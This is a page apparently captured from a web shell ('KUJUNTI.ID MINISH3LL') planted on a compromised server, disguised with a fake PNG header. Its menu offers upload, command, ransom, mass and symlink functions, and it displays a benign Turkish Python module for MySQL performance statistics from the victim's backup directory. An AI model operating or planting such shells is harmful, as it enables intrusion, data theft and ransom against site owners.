\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/DatabaseBackupMaster/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/DatabaseBackupMaster/mysql_performance.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
MySQL/MariaDB veritabanı performans metrikleri için yardımcı fonksiyonlar.
Bu modül, performance_schema ve information_schema tablolarını kullanarak 
MySQL/MariaDB sunucularında çalışan sorguların performans verilerini alır.
"""

import os
import logging
from datetime import datetime, timedelta
import pymysql
import re

# Log konfigürasyonu
logging.basicConfig(level=logging.INFO, 
                   format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def performance_schema_enabled(connection):
    """
    MySQL/MariaDB sunucusunda performance_schema'nın etkin olup olmadığını kontrol eder.
    
    Args:
        connection: MySQL bağlantı nesnesi
        
    Returns:
        bool: Etkinse True, değilse False
    """
    try:
        cursor = connection.cursor()
        cursor.execute("SELECT @@performance_schema")
        result = cursor.fetchone()
        return result[0] == 1
    except Exception as e:
        logger.error("performance_schema kontrol edilirken hata: {}".format(str(e)))
        return False

def enable_performance_schema(connection):
    """
    MySQL/MariaDB sunucusunda performance_schema'yı etkinleştirir.
    
    Args:
        connection: MySQL bağlantı nesnesi
        
    Returns:
        dict: İşlem sonucu (success, message)
    """
    try:
        cursor = connection.cursor()
        
        # Performance Schema etkinleştirme durumunu kontrol et
        cursor.execute("SELECT @@performance_schema")
        if cursor.fetchone()[0] == 1:
            return {"success": True, "message": "Performance Schema zaten etkin."}
        
        # Sunucu sürümünü kontrol et
        cursor.execute("SELECT VERSION()")
        version = cursor.fetchone()[0]
        is_mariadb = 'MariaDB' in version
        
        message = """
        Performance Schema etkinleştirmek için my.cnf dosyasına şu satırı ekleyin ve sunucuyu yeniden başlatın:
        
        performance_schema=ON
        
        Not: Bu değişiklik sunucu yapılandırma dosyasında yapılmalıdır ve yeniden başlatma gerektirir.
        """
        
        if is_mariadb:
            message += """
            MariaDB'de ayrıca query_response_time etkinleştirmek için:
            
            query_response_time=ON
            """
        
        return {"success": False, "message": message}
    except Exception as e:
        logger.error("Performance Schema etkinleştirilirken hata: {}".format(str(e)))
        return {"success": False, "message": "Hata: {}".format(str(e))}

def get_top_queries(db_conn, limit=20, order_by='total_time', interval=None):
    """
    MySQL/MariaDB sunucusunda en çok kaynak tüketen sorguları alır.
    
    Args:
        db_conn: MySQL bağlantı bilgileri (dict)
        limit (int): Alınacak sorgu sayısı
        order_by (str): Sıralama kriteri ('total_time', 'calls', 'rows')
        interval (str): Zaman aralığı ('hour', 'day', 'week', 'all')
        
    Returns:
        dict: Sorgu istatistikleri listesi, başarı durumu ve mesaj
    """
    # limit parametresini tamsayı olarak zorla
    try:
        limit = int(limit)
    except (ValueError, TypeError):
        limit = 20  # Hata durumunda varsayılan değer
    try:
        # Bağlantı yap
        connection = pymysql.connect(
            host=db_conn['host'],
            port=int(db_conn['port']),
            user=db_conn['username'],
            password=db_conn['password'],
            database=db_conn['database']
        )
        
        # Performance Schema etkin mi kontrol et
        if not performance_schema_enabled(connection):
            return {
                "success": False, 
                "message": "Performance Schema etkin değil. MySQL sunucu yapılandırmasında etkinleştirin.",
                "data": []
            }
        
        # DictCursor kullan - MySQL/MariaDB'den sözlük formatında veri almak için
        try:
            cursor = connection.cursor(pymysql.cursors.DictCursor)
        except AttributeError:
            # Bu durumda düz imleç kullan ve sözlük oluştur
            cursor = connection.cursor()
            
        # Sunucu sürümünü ve türünü kontrol et
        cursor.execute("SELECT VERSION()")
        version_result = cursor.fetchone()
        
        # Sonuç formatını kontrol et ve uygun şekilde işle
        if isinstance(version_result, dict):
            # DictCursor zaten sözlük döndürüyor
            version = version_result.get('VERSION()', 'Bilinmiyor')
        else:
            # Tuple sonucu sözlüğe çevir
            version = version_result[0] if version_result else 'Bilinmiyor'
            
        is_mariadb = 'MariaDB' in str(version)
        version_match = re.search(r'(\d+\.\d+)', str(version))
        version_num = version_match.group(1) if version_match else '0.0'
        major_version = int(version_num.split('.')[0])
        
        # MariaDB 10.1+ için query_response_time kullanılabilir
        if is_mariadb and float(version_num) >= 10.1:
            # Query Response Time etkin mi kontrol et
            cursor.execute("SELECT @@query_response_time")
            qrt_enabled = cursor.fetchone()
            
            if qrt_enabled and qrt_enabled['@@query_response_time'] == 1:
                # Reset isteği varsa, istatistikleri sıfırla
                if interval and interval == 'reset':
                    cursor.execute("SET GLOBAL query_response_time_flush=1")
                    connection.commit()
                    return {"success": True, "message": "Sorgu istatistikleri sıfırlandı.", "data": []}
                
                # MariaDB'de query_response_time kullan
                query = """
                SELECT 
                    BUCKET as response_time_bucket, 
                    COUNT as calls, 
                    TOTAL as total_time,
                    TOTAL/COUNT as avg_time,
                    100.0 * TOTAL / (SELECT SUM(TOTAL) FROM information_schema.query_response_time) as percentage_cpu
                FROM information_schema.query_response_time 
                WHERE BUCKET != 'TOO LONG'
                ORDER BY BUCKET
                """
                cursor.execute(query)
                results = cursor.fetchall()
                
                # Format the results
                data = []
                for row in results:
                    data_row = dict(row)
                    if 'total_time' in data_row and data_row['total_time']:
                        data_row['total_time'] = "{:.2f} ms".format(float(data_row['total_time']))
                    if 'avg_time' in data_row and data_row['avg_time']:
                        data_row['avg_time'] = "{:.2f} ms".format(float(data_row['avg_time']))
                    if 'percentage_cpu' in data_row and data_row['percentage_cpu']:
                        data_row['percentage_cpu'] = "{:.2f}%".format(float(data_row['percentage_cpu']))
                    data.append(data_row)
                
                summary_data = {
                    "total_calls": sum(row['calls'] for row in results),
                    "total_time": "{:.2f} ms".format(sum(float(row['TOTAL']) for row in results)),
                    "version": version
                }
                
                return {
                    "success": True, 
                    "message": "Veriler başarıyla alındı (MariaDB Query Response Time)", 
                    "data": data,
                    "summary": summary_data,
                    "version": version
                }
        
        # Standart MySQL/MariaDB için performance_schema kullan
        # Sıralama seçenekleri
        if order_by == 'total_time':
            order_column = "SUM_TIMER_WAIT DESC"
        elif order_by == 'calls':
            order_column = "COUNT_STAR DESC"
        elif order_by == 'rows':
            order_column = "SUM_ROWS_AFFECTED DESC"
        else:
            order_column = "SUM_TIMER_WAIT DESC"
            
        # Reset isteği varsa, istatistikleri sıfırla
        if interval and interval == 'reset':
            try:
                cursor.execute("TRUNCATE TABLE performance_schema.events_statements_summary_by_digest")
                connection.commit()
                return {"success": True, "message": "Sorgu istatistikleri sıfırlandı.", "data": []}
            except Exception as e:
                logger.warning(f"İstatistikler sıfırlanırken hata: {str(e)}")
                # Devam et ve verileri getir
        
        # Performance Schema sorgusu
        query = """
        SELECT 
            DIGEST_TEXT as query,
            COUNT_STAR as calls,
            SUM_ROWS_AFFECTED as rows,
            SUM_TIMER_WAIT/1000000000 as total_time,
            AVG_TIMER_WAIT/1000000000 as avg_time,
            MIN_TIMER_WAIT/1000000000 as min_time,
            MAX_TIMER_WAIT/1000000000 as max_time,
            100.0 * SUM_TIMER_WAIT / 
                (SELECT SUM(SUM_TIMER_WAIT) FROM performance_schema.events_statements_summary_by_digest) 
                as percentage_cpu
        FROM performance_schema.events_statements_summary_by_digest
        ORDER BY {}
        LIMIT %s
        """.format(order_column)
        
        cursor.execute(query, (limit,))
        results = cursor.fetchall()
        
        # Format sonuçları
        data = []
        for row in results:
            data_row = dict(row)
            # Sorguyu kısalt
            if 'query' in data_row and data_row['query'] and len(data_row['query']) > 500:
                data_row['query'] = data_row['query'][:500] + '...'
            
            # Zamanları formatlı
            for key in ['total_time', 'avg_time', 'min_time', 'max_time']:
                if key in data_row and data_row[key]:
                    data_row[key] = "{:.2f} ms".format(float(data_row[key]))
            
            # Yüzdeyi formatlı
            if 'percentage_cpu' in data_row and data_row['percentage_cpu']:
                data_row['percentage_cpu'] = "{:.2f}%".format(float(data_row['percentage_cpu']))
                
            data.append(data_row)
        
        # Toplam istatistikleri getir
        summary_query = """
        SELECT 
            SUM(COUNT_STAR) as total_calls,
            SUM(SUM_ROWS_AFFECTED) as total_rows,
            SUM(SUM_TIMER_WAIT)/1000000000 as total_exec_time,
            COUNT(*) as query_count
        FROM performance_schema.events_statements_summary_by_digest
        """
        cursor.execute(summary_query)
        summary = cursor.fetchone()
        
        summary_data = {
            "total_calls": summary['total_calls'],
            "total_rows": summary['total_rows'],
            "total_exec_time": "{:.2f} ms".format(summary['total_exec_time']),
            "query_count": summary['query_count'],
            "version": version
        }
        
        connection.close()
        return {
            "success": True, 
            "message": "Veriler başarıyla alındı", 
            "data": data,
            "summary": summary_data,
            "version": version
        }
    
    except Exception as e:
        logger.error(f"Sorgu performans verileri alınırken hata: {str(e)}")
        return {"success": False, "message": f"Hata: {str(e)}", "data": []}

def get_database_stats(db_conn):
    """
    MySQL/MariaDB veritabanı hakkında genel istatistikleri getirir.
    
    Args:
        db_conn: MySQL bağlantı bilgileri (dict)
        
    Returns:
        dict: Veritabanı istatistikleri
    """
    try:
        # Bağlantı yap
        connection = pymysql.connect(
            host=db_conn['host'],
            port=int(db_conn['port']),
            user=db_conn['username'],
            password=db_conn['password'],
            database=db_conn['database']
        )
        
        # DictCursor kullan - MySQL/MariaDB'den sözlük formatında veri almak için
        try:
            cursor = connection.cursor(pymysql.cursors.DictCursor)
        except AttributeError:
            # Bu durumda düz imleç kullan ve sözlük oluştur
            cursor = connection.cursor()
            
        # Sunucu sürümünü ve türünü kontrol et
        cursor.execute("SELECT VERSION()")
        version_result = cursor.fetchone()
        
        # Sonuç formatını kontrol et ve uygun şekilde işle
        if isinstance(version_result, dict):
            # DictCursor zaten sözlük döndürüyor
            version = version_result.get('VERSION()', 'Bilinmiyor')
        else:
            # Tuple sonucu sözlüğe çevir
            version = version_result[0] if version_result else 'Bilinmiyor'
        is_mariadb = 'MariaDB' in version
        
        # Veritabanı büyüklüğü
        cursor.execute("""
        SELECT 
            table_schema as `database`,
            ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) as total_size_mb
        FROM information_schema.TABLES 
        WHERE table_schema = %s
        GROUP BY table_schema
        """, (db_conn['database'],))
        db_size_result = cursor.fetchone()
        db_size = f"{db_size_result['total_size_mb']} MB" if db_size_result else "N/A"
        
        # Tablo sayısı
        cursor.execute("""
        SELECT COUNT(*) as table_count
        FROM information_schema.TABLES 
        WHERE table_schema = %s
        """, (db_conn['database'],))
        table_count = cursor.fetchone()['table_count']
        
        # Aktif bağlantı sayısı
        cursor.execute("SHOW STATUS LIKE 'Threads_connected'")
        active_connections = cursor.fetchone()['Value']
        
        # En büyük tablolar
        cursor.execute("""
        SELECT 
            table_name,
            ROUND((data_length + index_length) / 1024 / 1024, 2) as total_size_mb
        FROM information_schema.TABLES 
        WHERE table_schema = %s
        ORDER BY (data_length + index_length) DESC
        LIMIT 5
        """, (db_conn['database'],))
        largest_tables = []
        for row in cursor.fetchall():
            largest_tables.append({"table_name": row['table_name'], "size": f"{row['total_size_mb']} MB"})
        
        # İndeksler 
        cursor.execute("""
        SELECT 
            table_name,
            COUNT(*) as index_count
        FROM information_schema.STATISTICS
        WHERE table_schema = %s
        GROUP BY table_name
        ORDER BY index_count DESC
        LIMIT 5
        """, (db_conn['database'],))
        top_indexed_tables = []
        for row in cursor.fetchall():
            top_indexed_tables.append({"table_name": row['table_name'], "index_count": row['index_count']})
            
        # InnoDB istatistikleri (MySQL 5.7+ ve MariaDB 10.2+)
        innodb_stats = {}
        try:
            cursor.execute("SHOW ENGINE INNODB STATUS")
            innodb_status = cursor.fetchone()
            if innodb_status:
                status_text = innodb_status['Status']
                
                # Buffer pool bilgilerini al
                buffer_match = re.search(r'Buffer pool size\s+(\d+)', status_text)
                buffer_size = buffer_match.group(1) if buffer_match else "N/A"
                
                free_match = re.search(r'Free buffers\s+(\d+)', status_text)
                free_buffers = free_match.group(1) if free_match else "N/A"
                
                innodb_stats = {
                    "buffer_pool_size": buffer_size,
                    "free_buffers": free_buffers
                }
        except Exception as e:
            logger.warning(f"InnoDB istatistikleri alınırken hata: {str(e)}")
        
        connection.close()
        
        return {
            "success": True,
            "message": "Veritabanı istatistikleri başarıyla alındı",
            "data": {
                "db_size": db_size,
                "table_count": table_count,
                "active_connections": active_connections,
                "largest_tables": largest_tables,
                "top_indexed_tables": top_indexed_tables,
                "innodb_stats": innodb_stats,
                "is_mariadb": is_mariadb,
                "version": version
            }
        }
    
    except Exception as e:
        logger.error(f"Veritabanı istatistikleri alınırken hata: {str(e)}")
        return {"success": False, "message": f"Hata: {str(e)}", "data": {}}

def get_table_stats(db_conn, table_name):
    """
    Belirli bir tablo hakkında detaylı istatistikleri getirir.
    
    Args:
        db_conn: MySQL bağlantı bilgileri (dict)
        table_name (str): Tablo adı
        
    Returns:
        dict: Tablo istatistikleri
    """
    try:
        # Bağlantı yap
        connection = pymysql.connect(
            host=db_conn['host'],
            port=int(db_conn['port']),
            user=db_conn['username'],
            password=db_conn['password'],
            database=db_conn['database']
        )
        
        # DictCursor kullan - MySQL/MariaDB'den sözlük formatında veri almak için
        try:
            cursor = connection.cursor(pymysql.cursors.DictCursor)
        except AttributeError:
            # Bu durumda düz imleç kullan ve sözlük oluştur
            cursor = connection.cursor()
        
        # Tablo var mı kontrol et
        cursor.execute("""
        SELECT 1
        FROM information_schema.TABLES 
        WHERE table_schema = %s AND table_name = %s
        """, (db_conn['database'], table_name))
        
        if not cursor.fetchone():
            return {"success": False, "message": f"Tablo bulunamadı: {table_name}", "data": {}}
        
        # Tablo büyüklüğü ve satır sayısı
        cursor.execute("""
        SELECT 
            table_name,
            table_rows,
            ROUND((data_length + index_length) / 1024 / 1024, 2) as size_mb,
            data_length,
            index_length,
            create_time,
            update_time,
            engine,
            table_collation
        FROM information_schema.TABLES 
        WHERE table_schema = %s AND table_name = %s
        """, (db_conn['database'], table_name))
        
        table_info = cursor.fetchone()
        
        # Sütun bilgileri
        cursor.execute("""
        SELECT 
            column_name,
            column_type,
            is_nullable,
            column_key,
            column_default,
            extra
        FROM information_schema.COLUMNS
        WHERE table_schema = %s AND table_name = %s
        ORDER BY ordinal_position
        """, (db_conn['database'], table_name))
        
        columns = []
        for row in cursor.fetchall():
            columns.append(dict(row))
        
        # İndeks bilgileri
        cursor.execute("""
        SELECT 
            index_name,
            column_name,
            non_unique,
            seq_in_index
        FROM information_schema.STATISTICS
        WHERE table_schema = %s AND table_name = %s
        ORDER BY index_name, seq_in_index
        """, (db_conn['database'], table_name))
        
        indexes_raw = cursor.fetchall()
        indexes = {}
        
        for idx in indexes_raw:
            index_name = idx['index_name']
            if index_name not in indexes:
                indexes[index_name] = {
                    'columns': [],
                    'unique': not idx['non_unique']
                }
            indexes[index_name]['columns'].append(idx['column_name'])
        
        # İndeksleri düzenli listeye dönüştür
        indexes_list = []
        for name, data in indexes.items():
            indexes_list.append({
                'index_name': name,
                'columns': ', '.join(data['columns']),
                'unique': data['unique']
            })
        
        table_data = {
            "table_name": table_name,
            "size_mb": table_info['size_mb'],
            "row_count": table_info['table_rows'],
            "data_length": table_info['data_length'],
            "index_length": table_info['index_length'],
            "created_at": table_info['create_time'],
            "updated_at": table_info['update_time'],
            "engine": table_info['engine'],
            "collation": table_info['table_collation'],
            "columns": columns,
            "indexes": indexes_list
        }
        
        connection.close()
        
        return {
            "success": True,
            "message": f"{table_name} tablosu istatistikleri başarıyla alındı",
            "data": table_data
        }
    
    except Exception as e:
        logger.error(f"Tablo istatistikleri alınırken hata: {str(e)}")
        return {"success": False, "message": f"Hata: {str(e)}", "data": {}}

© KUJUNTI.ID